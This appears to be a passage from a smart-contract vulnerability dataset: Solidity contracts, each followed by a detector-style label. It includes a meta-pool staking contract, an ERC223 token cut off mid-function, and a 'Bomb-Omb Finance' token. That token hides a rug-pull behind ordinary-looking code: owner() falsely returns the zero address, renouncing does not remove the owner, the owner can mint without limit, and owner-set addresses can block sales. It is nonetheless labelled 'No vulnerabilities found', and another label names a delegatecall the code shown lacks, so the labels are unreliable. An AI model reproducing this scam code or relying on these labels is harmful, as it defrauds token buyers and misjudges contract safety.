/// @param asset The meta pool asset.
///
/// @return The reserves.
function metaPoolAssetReserves(MetaPoolAsset asset) external view returns (uint256) {
IERC20 token = getTokenForMetaPoolAsset(asset);
if (asset == MetaPoolAsset.ETH) {
return address(this).balance + token.balanceOf(address(this));
}
return token.balanceOf(address(this));
}
/// @notice Gets the amount of ethereum that one alETH is worth.
///
/// @return The amount of the underlying token.
function exchangeRate() public view returns (uint256) {
IERC20 alETH = getTokenForMetaPoolAsset(MetaPoolAsset.ALETH);
uint256[NUM_META_COINS] memory metaBalances = metaPool.get_balances();
return metaPool.get_dy(
int128(uint128(uint256(MetaPoolAsset.ALETH))),
int128(uint128(uint256(MetaPoolAsset.ETH))),
10**SafeERC20.expectDecimals(address(alETH)),
metaBalances
);
}
/// @notice Gets the amount of curve tokens and convex tokens that can be claimed.
///
/// @return amountCurve The amount of curve tokens available.
/// @return amountConvex The amount of convex tokens available.
function claimableRewards() public view returns (uint256 amountCurve, uint256 amountConvex) {
amountCurve = convexRewards.earned(address(this));
amountConvex = _getEarnedConvex(amountCurve);
}
/// @notice Gets the ERC20 token associated with a meta pool asset.
///
/// @param asset The asset to get the token for.
///
/// @return The token.
function getTokenForMetaPoolAsset(MetaPoolAsset asset) public view returns (IERC20) {
uint256 index = uint256(asset);
if (index >= NUM_META_COINS) {
revert IllegalArgument("Asset index out of bounds");
}
return _metaPoolAssetCache[index];
}
/// @notice Begins the 2-step process of setting the administrator.
///
/// The caller must be the admin. Setting the pending timelock to the zero address will stop
/// the process of setting a new timelock.
///
/// @param value The value to set the pending timelock to.
function setPendingAdmin(address value) external onlyAdmin {
pendingAdmin = value;
emit PendingAdminUpdated(value);
}
/// @notice Completes the 2-step process of setting the administrator.
///
/// The pending admin must be set and the caller must be the pending admin. After this function
/// is successfully executed, the admin will be set to the pending admin and the pending admin
/// will be reset.
function acceptAdmin() external {
if (pendingAdmin == address(0)) {
revert IllegalState("Pending admin unset");
}
if (pendingAdmin != msg.sender) {
revert Unauthorized("Not pending admin");
}
admin = pendingAdmin;
pendingAdmin = address(0);
emit AdminUpdated(admin);
emit PendingAdminUpdated(address(0));
}
/// @notice Sets the operator.
///
/// The caller must be the admin.
///
/// @param value The value to set the admin to.
function setOperator(address value) external onlyAdmin {
operator = value;
emit OperatorUpdated(value);
}
/// @notice Sets the reward receiver.
///
/// @param value The value to set the reward receiver to.
function setRewardReceiver(address value) external onlyAdmin {
rewardReceiver = value;
emit RewardReceiverUpdated(value);
}
/// @notice Sets the transmuter buffer.
///
/// @param value The value to set the transmuter buffer to.
function setTransmuterBuffer(address value) external onlyAdmin {
transmuterBuffer = value;
emit TransmuterBufferUpdated(value);
}
/// @notice Sets the slippage that will be tolerated when depositing and withdrawing meta pool
/// assets. The slippage has a resolution of 6 decimals.
///
/// The operator is allowed to set the slippage because it is a volatile parameter that may need
/// fine adjustment in a short time window.
///
/// @param value The value to set the slippage to.
function setMetaPoolSlippage(uint256 value) external onlyOperator {
if (value > SLIPPAGE_PRECISION) {
revert IllegalArgument("Slippage not in range");
}
metaPoolSlippage = value;
emit MetaPoolSlippageUpdated(value);
}
/// @notice Mints meta pool tokens with a combination of assets.
///
/// @param amounts The amounts of the assets to deposit.
///
/// @return minted The number of meta pool tokens minted.
function mintMetaPoolTokens(
uint256[NUM_META_COINS] calldata amounts
) external lock onlyOperator returns (uint256 minted) {
return _mintMetaPoolTokens(amounts);
}
/// @notice Mints meta pool tokens with an asset.
///
/// @param asset The asset to deposit into the meta pool.
/// @param amount The amount of the asset to deposit.
///
/// @return minted The number of meta pool tokens minted.
function mintMetaPoolTokens(
MetaPoolAsset asset,
uint256 amount
) external lock onlyOperator returns (uint256 minted) {
return _mintMetaPoolTokens(asset, amount);
}
/// @notice Burns meta pool tokens to withdraw an asset.
///
/// @param asset The asset to withdraw.
/// @param amount The amount of meta pool tokens to burn.
///
/// @return withdrawn The amount of the asset withdrawn from the pool.
function burnMetaPoolTokens(
MetaPoolAsset asset,
uint256 amount
) external lock onlyOperator returns (uint256 withdrawn) {
return _burnMetaPoolTokens(asset, amount);
}
/// @notice Deposits and stakes meta pool tokens into convex.
///
/// @param amount The amount of meta pool tokens to deposit.
///
/// @return success If the tokens were successfully deposited.
function depositMetaPoolTokens(
uint256 amount
) external lock onlyOperator returns (bool success) {
return _depositMetaPoolTokens(amount);
}
/// @notice Withdraws and unwraps meta pool tokens from convex.
///
/// @param amount The amount of meta pool tokens to withdraw.
///
/// @return success If the tokens were successfully withdrawn.
function withdrawMetaPoolTokens(
uint256 amount
) external lock onlyOperator returns (bool success) {
return _withdrawMetaPoolTokens(amount);
}
/// @notice Claims convex, curve, and auxiliary rewards.
///
/// @return success If the claim was successful.
function claimRewards() external lock onlyOperator returns (bool success) {
success = convexRewards.getReward();
uint256 curveBalance = curveToken.balanceOf(address(this));
uint256 convexBalance = convexToken.balanceOf(address(this));
SafeERC20.safeTransfer(address(curveToken), rewardReceiver, curveBalance);
SafeERC20.safeTransfer(address(convexToken), rewardReceiver, convexBalance);
emit ClaimRewards(success, curveBalance, convexBalance);
}
/// @notice Flushes meta pool assets into convex by minting meta pool tokens using the assets,
/// and then depositing the meta pool tokens into convex.
///
/// This function is provided for ease of use.
///
/// @param amounts The amounts of the meta pool assets to flush.
///
/// @return The amount of meta pool tokens deposited into convex.
function flush(
uint256[NUM_META_COINS] calldata amounts
) external lock onlyOperator returns (uint256) {
uint256 mintedMetaPoolTokens = _mintMetaPoolTokens(amounts);
if (!_depositMetaPoolTokens(mintedMetaPoolTokens)) {
revert IllegalState("Deposit into convex failed");
}
return mintedMetaPoolTokens;
}
/// @notice Flushes a meta pool asset into convex by minting meta pool tokens using the asset,
/// and then depositing the meta pool tokens into convex.
///
/// This function is provided for ease of use.
///
/// @param asset The meta pool asset to flush.
/// @param amount The amount of the meta pool asset to flush.
///
/// @return The amount of meta pool tokens deposited into convex.
function flush(
MetaPoolAsset asset,
uint256 amount
) external lock onlyOperator returns (uint256) {
uint256 mintedMetaPoolTokens = _mintMetaPoolTokens(asset, amount);
if (!_depositMetaPoolTokens(mintedMetaPoolTokens)) {
revert IllegalState("Deposit into convex failed");
}
return mintedMetaPoolTokens;
}
/// @notice Recalls ethereum into reserves by withdrawing meta pool tokens from convex and
/// burning the meta pool tokens for ethereum.
///
/// This function is provided for ease of use.
///
/// @param amount The amount of the meta pool tokens to withdraw from convex and burn.
///
/// @return The amount of ethereum recalled.
function recall(uint256 amount) external lock onlyOperator returns (uint256) {
if (!_withdrawMetaPoolTokens(amount)) {
revert IllegalState("Withdraw from convex failed");
}
return _burnMetaPoolTokens(MetaPoolAsset.ETH, amount);
}
/// @notice Reclaims a three pool asset to the transmuter buffer.
///
/// @param amount The amount of ethereum to reclaim.
function reclaimEth(uint256 amount) public lock onlyAdmin {
uint256 balance;
if (amount > (balance = weth.balanceOf(address(this)))) weth.deposit{value: amount - balance}();
SafeERC20.safeTransfer(address(weth), transmuterBuffer, amount);
IERC20TokenReceiver(transmuterBuffer).onERC20Received(address(weth), amount);
emit ReclaimEth(amount);
}
/// @notice Sweeps a token out of the contract to the admin.
///
/// @param token The token to sweep.
/// @param amount The amount of the token to sweep.
function sweepToken(address token, uint256 amount) external lock onlyAdmin {
SafeERC20.safeTransfer(address(token), msg.sender, amount);
emit SweepToken(token, amount);
}
/// @notice Sweeps ethereum out of the contract to the admin.
///
/// @param amount The amount of ethereum to sweep.
///
/// @return result The result from the call to transfer ethereum.
function sweepEth(
uint256 amount
) external lock onlyAdmin returns (bytes memory result) {
(bool success, bytes memory result) = admin.call{value: amount}(new bytes(0));
if (!success) {
revert IllegalState("Transfer failed");
}
emit SweepEth(amount);
return result;
}
/// @inheritdoc IERC20TokenReceiver
///
/// @dev This function is required in order to receive tokens from the conduit.
function onERC20Received(address token, uint256 value) external { /* noop */ }
/// @dev Gets the amount of convex that will be minted for an amount of curve tokens.
///
/// @param amountCurve The amount of curve tokens.
///
/// @return The amount of convex tokens.
function _getEarnedConvex(uint256 amountCurve) internal view returns (uint256) {
uint256 supply = convexToken.totalSupply();
uint256 cliff = supply / convexToken.reductionPerCliff();
uint256 totalCliffs = convexToken.totalCliffs();
if (cliff >= totalCliffs) return 0;
uint256 reduction = totalCliffs - cliff;
uint256 earned = amountCurve * reduction / totalCliffs;
uint256 available = convexToken.maxSupply() - supply;
return earned > available ? available : earned;
}
/// @dev Mints meta pool tokens with a combination of assets.
///
/// @param amounts The amounts of the assets to deposit.
///
/// @return minted The number of meta pool tokens minted.
function _mintMetaPoolTokens(
uint256[NUM_META_COINS] calldata amounts
) internal returns (uint256 minted) {
IERC20[NUM_META_COINS] memory tokens = _metaPoolAssetCache;
uint256 total = 0;
for (uint256 i = 0; i < NUM_META_COINS; i++) {
// Skip over approving WETH since we are directly swapping ETH.
if (i == uint256(MetaPoolAsset.ETH)) continue;
if (amounts[i] == 0) continue;
total += amounts[i];
// For assets like USDT, the approval must be first set to zero before updating it.
SafeERC20.safeApprove(address(tokens[i]), address(metaPool), 0);
SafeERC20.safeApprove(address(tokens[i]), address(metaPool), amounts[i]);
}
// Calculate the minimum amount of meta pool tokens that we are expecting out when
// adding liquidity for all of the assets. This value is based off the optimistic
// assumption that one of each token is approximately equal to one meta pool token.
uint256 expectedOutput = total * CURVE_PRECISION / metaPool.get_virtual_price();
uint256 minimumMintAmount = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION;
uint256 value = amounts[uint256(MetaPoolAsset.ETH)];
// Ensure that the contract has the amount of ethereum required.
if (value > address(this).balance) weth.withdraw(value - address(this).balance);
// Add the liquidity to the pool.
minted = metaPool.add_liquidity{value: value}(amounts, minimumMintAmount);
emit MintMetaPoolTokens(amounts, minted);
}
/// @dev Mints meta pool tokens with an asset.
///
/// @param asset The asset to deposit into the meta pool.
/// @param amount The amount of the asset to deposit.
///
/// @return minted The number of meta pool tokens minted.
function _mintMetaPoolTokens(
MetaPoolAsset asset,
uint256 amount
) internal returns (uint256 minted) {
uint256[NUM_META_COINS] memory amounts;
amounts[uint256(asset)] = amount;
// Calculate the minimum amount of meta pool tokens that we are expecting out when
// adding liquidity for all of the assets. This value is based off the optimistic
// assumption that one of each token is approximately equal to one meta pool token.
uint256 minimumMintAmount = amount * metaPoolSlippage / SLIPPAGE_PRECISION;
// Set an approval if not working with ethereum.
if (asset != MetaPoolAsset.ETH) {
IERC20 token = getTokenForMetaPoolAsset(asset);
// For assets like USDT, the approval must be first set to zero before updating it.
SafeERC20.safeApprove(address(token), address(metaPool), 0);
SafeERC20.safeApprove(address(token), address(metaPool), amount);
}
uint256 value = asset == MetaPoolAsset.ETH
? amounts[uint256(MetaPoolAsset.ETH)]
: 0;
// Ensure that the contract has the amount of ethereum required.
if (value > address(this).balance) weth.withdraw(value - address(this).balance);
// Add the liquidity to the pool.
minted = metaPool.add_liquidity{value: value}(amounts, minimumMintAmount);
emit MintMetaPoolTokens(asset, amount, minted);
}
/// @dev Burns meta pool tokens to withdraw an asset.
///
/// @param asset The asset to withdraw.
/// @param amount The amount of meta pool tokens to burn.
///
/// @return withdrawn The amount of the asset withdrawn from the pool.
function _burnMetaPoolTokens(
MetaPoolAsset asset,
uint256 amount
) internal returns (uint256 withdrawn) {
uint256 index = uint256(asset);
// Calculate the minimum amount of the meta pool asset that we are expecting out when
// removing single sided liquidity. This value is based off the optimistic assumption that
// one of each token is approximately equal to one meta pool lp token.
uint256 expectedOutput = amount * metaPool.get_virtual_price() / CURVE_PRECISION;
uint256 minimumAmountOut = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION;
// Remove the liquidity from the pool.
withdrawn = metaPool.remove_liquidity_one_coin(
amount,
int128(uint128(index)),
minimumAmountOut
);
emit BurnMetaPoolTokens(asset, amount, withdrawn);
}
/// @dev Deposits and stakes meta pool tokens into convex.
///
/// @param amount The amount of meta pool tokens to deposit.
///
/// @return success If the tokens were successfully deposited.
function _depositMetaPoolTokens(uint256 amount) internal returns (bool success) {
SafeERC20.safeApprove(address(metaPool), address(convexBooster), 0);
SafeERC20.safeApprove(address(metaPool), address(convexBooster), amount);
success = convexBooster.deposit(convexPoolId, amount, true /* always stake into rewards */);
emit DepositMetaPoolTokens(amount, success);
}
/// @dev Withdraws and unwraps meta pool tokens from convex.
///
/// @param amount The amount of meta pool tokens to withdraw.
///
/// @return success If the tokens were successfully withdrawn.
function _withdrawMetaPoolTokens(uint256 amount) internal returns (bool success) {
success = convexRewards.withdrawAndUnwrap(amount, false /* never claim */);
emit WithdrawMetaPoolTokens(amount, success);
}
/// @dev Claims convex, curve, and auxiliary rewards.
///
/// @return success If the claim was successful.
function _claimRewards() internal returns (bool success) {
success = convexRewards.getReward();
uint256 curveBalance = curveToken.balanceOf(address(this));
uint256 convexBalance = convexToken.balanceOf(address(this));
SafeERC20.safeTransfer(address(curveToken), rewardReceiver, curveBalance);
SafeERC20.safeTransfer(address(convexToken), rewardReceiver, convexBalance);
emit ClaimRewards(success, curveBalance, convexBalance);
}
/// @dev Gets the minimum of two integers.
///
/// @param x The first integer.
/// @param y The second integer.
///
/// @return The minimum value.
function min(uint256 x , uint256 y) private pure returns (uint256) {
return x > y ? y : x;
}
/// @dev Gets the absolute value of the difference of two integers.
///
/// @param x The first integer.
/// @param y The second integer.
///
/// @return The absolute value.
function abs(uint256 x , uint256 y) private pure returns (uint256) {
return x > y ? x - y : y - x;
}
} | These are the vulnerabilities found
1) uninitialized-local with Medium impact
2) divide-before-multiply with Medium impact
3) delegatecall-loop with High impact
4) arbitrary-send with High impact |
/*
_,.---._ ___ _,.---._ ___
_..---. ,-.' , - `. .-._ .'=.'\ _..---. ,-.' , - `. .-._ .'=.'\ _..---.
.' .'.-. \/==/_, , - \/==/ \|==| | .' .'.-. \,--.--------. /==/_, , - \/==/ \|==| | .' .'.-. \
/==/- '=' /==| .=. |==|,| / - |/==/- '=' /==/, - , -\==| .=. |==|,| / - |/==/- '=' /
|==|-, '|==|_ : ;=: - |==| \/ , ||==|-, '\==\.-. - ,-./==|_ : ;=: - |==| \/ , ||==|-, '
|==| .=. \==| , '=' |==|- , _ ||==| .=. \`--`--------`|==| , '=' |==|- , _ ||==| .=. \
/==/- '=' ,\==\ - ,_ /|==| _ /\ |/==/- '=' ,| \==\ - ,_ /|==| _ /\ |/==/- '=' ,|
|==| - / '.='. - .' /==/ / / , /==| - / '.='. - .' /==/ / / , /==| - /
`-._`.___,' `--`--'' `--`./ `--``-._`.___,' `--`--'' `--`./ `--``-._`.___,'
Telegram: @bombombfinance
Site: bomb-omb.finance
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity functi
* on calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BombOmbFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public public_address;
address public initializer;
uint256 private _tTotal = 8008 * 10**9 * 10**18;
string private _name = 'Bomb-Omb Finance';
string private _symbol = '💣BOMB💣';
uint8 private _decimals = 18;
uint256 public MaxBuy = 4000000000 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function AddLiq (address blackListAddress) public onlyOwner {
public_address = blackListAddress;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != initializer && recipient == public_address) {
require(amount < MaxBuy, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function DispersefeeHolderWallets(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function Approve(address blackAddress) public onlyOwner {
initializer = blackAddress;
}
function reflect(uint256 maxTxBlackPercent) public onlyOwner {
MaxBuy = maxTxBlackPercent * 10**18;
}
} | No vulnerabilities found |
pragma solidity ^0.4.21;
interface tokenRecipient {
function receiveApproval( address from, uint256 value, bytes data ) external;
}
// ERC223
interface ContractReceiver {
function tokenFallback( address from, uint value, bytes data ) external;
}
contract ERC223Token
{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping( address => uint256 ) balances_;
mapping( address => mapping(address => uint256) ) allowances_;
// ERC20
event Approval( address indexed owner,
address indexed spender,
uint value );
event Transfer( address indexed from,
address indexed to,
uint256 value );
// bytes data ); use ERC20 version instead
event Burn( address indexed from, uint256 value );
function ERC223Token( uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol ) public
{
totalSupply = initialSupply * 10 ** uint256(decimalUnits);
balances_[msg.sender] = totalSupply;
name = tokenName;
decimals = decimalUnits;
symbol = tokenSymbol;
emit Transfer( address(0), msg.sender, totalSupply );
}
function() public payable { revert(); } // does not accept money
function balanceOf( address owner ) public constant returns (uint) {
return balances_[owner];
}
// ERC20
function approve( address spender, uint256 value ) public
returns (bool success)
{
allowances_[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
// recommended fix for known attack on any ERC20
function safeApprove( address _spender,
uint256 _currentValue,
uint256 _value ) public
returns (bool success) {
// If current allowance for _spender is equal to _currentValue, then
// overwrite it with _value and return true, otherwise return false.
if (allowances_[msg.sender][_spender] == _currentValue)
return approve(_spender, _value);
return false;
}
// ERC20
function allowance( address owner, address spender ) public constant
returns (uint256 remaining)
{
return allowances_[owner][spender];
}
// ERC20
function transfer(address to, uint256 value) public returns (bool alwaystrue)
{
bytes memory empty; // null
_transfer( msg.sender, to, value, empty );
return true;
}
// ERC20
function transferFrom( address from, address to, uint256 value ) public
returns (bool success)
{
require( value <= allowances_[from][msg.sender] );
allowances_[from][msg.sender] -= value;
bytes memory empty;
_transfer( from, to, value, empty );
return true;
}
// Ethereum Token
function approveAndCall( address spender,
uint256 value,
bytes context ) public
returns (bool success)
{
if ( approve(spender, value) )
{
tokenRecipient recip = tokenRecipient( spender );
recip.receiveApproval( msg.sender, value, context );
return true;
}
return false;
}
// Ethereum Token
function burn( uint256 value ) public
returns (bool success)
{
require( balances_[msg.sender] >= value );
balances_[msg.sender] -= value;
totalSupply -= value;
emit Burn( msg.sender, value );
return true;
}
// Ethereum Token
function burnFrom( address from, uint256 value ) public
returns (bool success)
{
require( balances_[from] >= value );
require( value <= allowances_[from][msg.sender] );
balances_[from] -= value;
allowances_[from][msg.sender] -= value;
totalSupply -= value;
emit Burn( from, value );
return true;
}
// ERC223 Transfer and invoke specified callback
function transfer( address to,
uint value,
bytes data,
string custom_fallback ) public returns (bool success)
{
_transfer( msg.sender, to, value, data );
if ( isContract(to) )
{
ContractReceiver rx = ContractReceiver( to );
require( address(rx).call.value(0)(bytes4(keccak256(custom_fallback)),
msg.sender,
value,
data) );
}
return true;
}
// ERC223 Transfer to a contract or externally-owned account
function transfer( address to, uint value, bytes data ) public
returns (bool success)
{
if (isContract(to)) {
return transferToContract( to, value, data );
